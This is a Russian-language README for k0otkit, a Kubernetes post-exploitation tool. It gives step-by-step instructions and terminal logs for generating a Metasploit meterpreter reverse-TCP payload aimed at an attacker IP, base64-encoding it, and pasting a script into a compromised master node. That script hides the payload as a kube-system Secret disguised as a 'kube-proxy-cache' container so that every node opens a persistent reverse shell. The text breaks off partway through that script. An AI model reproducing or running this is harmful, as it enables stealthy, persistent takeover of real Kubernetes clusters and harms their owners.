
k0otkit — это универсальная пост-эксплуатационная техника, которая может использоваться при атаках на кластеры Kubernetes.
k0otkit — это универсальная техника пост-пенетрации, которая может использоваться при пенетрации кластеров Kubernetes.
С помощью k0otkit вы можете быстро, скрытно и непрерывно управлять всеми узлами целевого кластера Kubernetes (обратный шелл).
k0otkit представляет собой комбинацию Kubernetes и руткита.
Предварительное условие:
k0otkit — это инструмент пост-пенетрации, поэтому вы должны сначала захватить кластер, каким-то образом сбежать из контейнера и получить root-привилегии на мастер-узле (точнее, получить привилегии администратора целевого Kubernetes).
Сценарий:
kubectl на мастер-узле от имени admin.Подробно k0otkit описан в статье k0otkit: Hack K8s in a K8s Way.
Убедитесь, что у вас есть root-шелл на мастер-узле целевого Kubernetes. (Вы также можете использовать k0otkit, если у вас есть права администратора целевого Kubernetes, хотя, возможно, потребуется изменить команду kubectl в k0otkit_template.sh, чтобы использовать токен или сертификат.)
Убедитесь, что на вашем атакующем хосте установлен Metasploit (msfvenom и msfconsole должны быть доступны).
Развёртывание k0otkit
Клонируйте этот репозиторий:
git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh
Замените IP-адрес и порт атакующего в pre_exp.sh на свои собственные:
ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444
Сгенерируйте k0otkit:
./pre_exp.sh
Будет сгенерирован k0otkit.sh. Затем запустите обработчик обратного шелла:
./handle_multi_reverse_shell.sh
Когда обработчик будет готов, скопируйте содержимое k0otkit.sh и вставьте его в ваш шелл на мастер-узле целевого Kubernetes, затем нажмите <Enter>, чтобы выполнить его.
Подождите немного и наслаждайтесь обратными шеллами со всех узлов :)
P.S. Количество кластеров Kubernetes, которыми вы управляете с помощью k0otkit, не ограничено.
Взаимодействие с шеллами
После успешного развёртывания k0otkit вы можете взаимодействовать с любым обратным шеллом по своему желанию:
# внутри msfconsole
sessions 1
Генерация k0otkit:
kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh
Запуск обработчика обратного шелла:
kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >
Скопируйте содержимое k0otkit.sh в ваш шелл на мастер-узле целевого Kubernetes и нажмите <Enter>:
kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF
# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below